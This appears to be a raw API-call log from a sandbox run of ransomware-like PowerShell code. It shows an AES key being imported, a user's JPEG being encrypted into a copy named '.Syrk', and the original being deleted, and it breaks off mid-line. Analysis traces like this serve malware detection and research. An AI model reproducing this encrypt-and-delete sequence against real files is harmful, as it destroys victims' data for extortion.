(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0251.281] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0251.281] SystemFunction041 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.281] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0251.281] SystemFunction040 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.281] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0251.282] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0251.282] SystemFunction041 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.282] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0251.282] SystemFunction040 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.282] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0251.282] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0251.282] SystemFunction041 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.282] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0251.282] SystemFunction040 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.282] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0251.283] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0251.283] SystemFunction041 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.283] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0251.283] SystemFunction040 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.283] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0251.283] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0251.283] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0251.284] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0251.284] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0251.284] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0251.284] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0251.284] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0251.284] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0251.284] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0251.285] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0251.285] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0251.285] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0251.285] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0251.285] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0251.285] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0251.285] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0251.285] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0251.285] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0251.285] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0251.286] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0251.286] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0251.286] EtwEventActivityIdControl () returned 0x0 [0251.286] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0251.286] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0251.286] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0251.286] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0251.288] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d188) returned 1 [0251.338] CryptImportKey (in: hProv=0x5c4d188, pbData=0x2376cc4*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99520) returned 1 [0251.338] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0251.338] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.338] EtwEventActivityIdControl () returned 0x0 [0251.338] EtwEventActivityIdControl () returned 0x0 [0251.339] EtwEventActivityIdControl () returned 0x0 [0251.344] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\jhqgivucmr9tbit.jpg")) returned 0x20 [0251.346] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\jhqgivucmr9tbit.jpg")) returned 0x20 [0251.346] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0251.346] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", lpFilePart=0x0) returned 0x2f [0251.346] EtwEventActivityIdControl () returned 0x0 [0251.346] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.347] EtwEventActivityIdControl () returned 0x0 [0251.347] EtwEventActivityIdControl () returned 0x0 [0251.347] EtwEventActivityIdControl () returned 0x0 [0251.351] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0251.351] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", lpFilePart=0x0) returned 0x2f [0251.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0251.351] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\jhqgivucmr9tbit.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c4 [0251.351] GetFileType (hFile=0x3c4) returned 0x1 [0251.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0251.351] GetFileType (hFile=0x3c4) returned 0x1 [0251.351] EtwEventActivityIdControl () returned 0x0 [0251.352] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.353] EtwEventActivityIdControl () returned 0x0 [0251.353] EtwEventActivityIdControl () returned 0x0 [0251.353] EtwEventActivityIdControl () returned 0x0 [0251.354] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0251.354] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg.Syrk", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg.Syrk", lpFilePart=0x0) returned 0x34 [0251.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0251.355] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\jhqgivucmr9tbit.jpg.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0251.355] GetFileType (hFile=0x454) returned 0x1 [0251.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0251.355] GetFileType (hFile=0x454) returned 0x1 [0251.355] EtwEventActivityIdControl () returned 0x0 [0251.355] CryptGenRandom (in: hProv=0x5c4d188, dwLen=0x10, pbBuffer=0x23879a0 | out: pbBuffer=0x23879a0) returned 1 [0251.356] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0251.357] CryptDuplicateKey (in: hKey=0x5c99520, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99660) returned 1 [0251.357] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0251.357] CryptSetKeyParam (hKey=0x5c99660, dwParam=0x4, pbData=0x2388cd8*=0x1, dwFlags=0x0) returned 1 [0251.357] CryptSetKeyParam (hKey=0x5c99660, dwParam=0x1, pbData=0x2388ca4, dwFlags=0x0) returned 1 [0251.357] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.357] EtwEventActivityIdControl () returned 0x0 [0251.357] EtwEventActivityIdControl () returned 0x0 [0251.358] EtwEventActivityIdControl () returned 0x0 [0251.358] EtwEventActivityIdControl () returned 0x0 [0251.359] ReadFile (in: hFile=0x3c4, lpBuffer=0x238b914, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x238b914*, lpNumberOfBytesRead=0x5a2e7d8*=0xec02, lpOverlapped=0x0) returned 1 [0251.360] CryptEncrypt (in: hKey=0x5c99660, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x239f92c*, pdwDataLen=0x5a2e7cc*=0xec00, dwBufLen=0xec00 | out: pbData=0x239f92c*, pdwDataLen=0x5a2e7cc*=0xec00) returned 1 [0251.361] WriteFile (in: hFile=0x454, lpBuffer=0x2387a88*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2387a88*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0251.366] WriteFile (in: hFile=0x454, lpBuffer=0x23a0918*, nNumberOfBytesToWrite=0xdc14, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x23a0918*, lpNumberOfBytesWritten=0x5a2e7b0*=0xdc14, lpOverlapped=0x0) returned 1 [0251.367] ReadFile (in: hFile=0x3c4, lpBuffer=0x238b914, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x238b914*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0251.367] CryptEncrypt (in: hKey=0x5c99660, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23ae538*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x23ae538*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0251.367] CryptEncrypt (in: hKey=0x5c99660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23ae554*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23ae554*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0251.367] WriteFile (in: hFile=0x454, lpBuffer=0x2387a88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2387a88*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0251.368] CloseHandle (hObject=0x454) returned 1 [0251.370] CloseHandle (hObject=0x3c4) returned 1 [0251.370] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.371] EtwEventActivityIdControl () returned 0x0 [0251.371] EtwEventActivityIdControl () returned 0x0 [0251.371] EtwEventActivityIdControl () returned 0x0 [0251.376] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\jhqgivucmr9tbit.jpg")) returned 0x20 [0251.378] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0251.378] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", lpFilePart=0x0) returned 0x2f [0251.379] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0251.379] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0251.379] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0251.379] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0251.379] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0251.379] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0251.379] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0251.379] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0251.379] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0251.379] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0251.380] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0251.380] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0251.380] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0251.380] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0251.380] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0251.380] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0251.380] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\jhqgivucmr9tbit.jpg")) returned 0x20 [0251.380] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0251.381] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", lpFilePart=0x0) returned 0x2f [0251.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0251.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", lpFilePart=0x0) returned 0x2f [0251.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0251.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0251.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", lpFilePart=0x0) returned 0x2f [0251.431] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\jhqgivucmr9tbit.jpg\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0251.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0251.431] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0251.431] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0251.431] CoTaskMemFree (pv=0x3b0008) [0251.433] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\jhqgivucmr9tbit.jpg")) returned 0x20 [0251.433] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0251.433] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", nBufferLength=0x30, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg", lpFilePart=0x0) returned 0x2f [0251.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0251.433] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\jhqgivucmr9tbit.jpg"), fInfoLevelId=0x0, lpFileInformation=0x23b9bbc | out: lpFileInformation=0x23b9bbc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f75e1d0, ftCreationTime.dwHighDateTime=0x1d98f5d, ftLastAccessTime.dwLowDateTime=0x2cbe6f90, ftLastAccessTime.dwHighDateTime=0x1d99ae0, ftLastWriteTime.dwLowDateTime=0x2cbe6f90, ftLastWriteTime.dwHighDateTime=0x1d99ae0, nFileSizeHigh=0x0, nFileSizeLow=0xec02)) returned 1 [0251.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0251.433] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\jhqgivucmr9tbit.jpg")) returned 1 [0251.436] EtwEventActivityIdControl () returned 0x0 [0251.436] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.436] EtwEventActivityIdControl () returned 0x0 [0251.436] EtwEventActivityIdControl () returned 0x0 [0251.436] EtwEventActivityIdControl () returned 0x0 [0251.443] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\jhqgivucmr9tbit.jpg.syrk")) returned 0x20 [0251.444] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\jhqgivucmr9tbit.jpg.syrk")) returned 0x20 [0251.444] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0251.444] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg.Syrk", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\JhqgivuCmr9tbit.jpg.Syrk", lpFilePart=0x0) returned 0x34 [0251.444] EtwEventActivityIdControl () returned 0x0 [0251.445] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.445] EtwEventActivityIdControl () returned 0x0 [0251.445] EtwEventActivityIdControl () returned 0x0 [0251.445] EtwEventActivityIdControl () returned 0x0 [0251.451] EtwEventActivityIdControl () returned 0x0 [0251.451] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.451] EtwEventActivityIdControl () returned 0x0 [0251.451] EtwEventActivityIdControl () returned 0x0 [0251.451] EtwEventActivityIdControl () returned 0x0 [0251.455] EtwEventActivityIdControl () returned 0x0 [0251.455] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.456] EtwEventActivityIdControl () returned 0x0 [0251.456] EtwEventActivityIdControl () returned 0x0 [0251.456] EtwEventActivityIdControl () returned 0x0 [0251.459] EtwEventActivityIdControl () returned 0x0 [0251.459] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.460] EtwEventActivityIdControl () returned 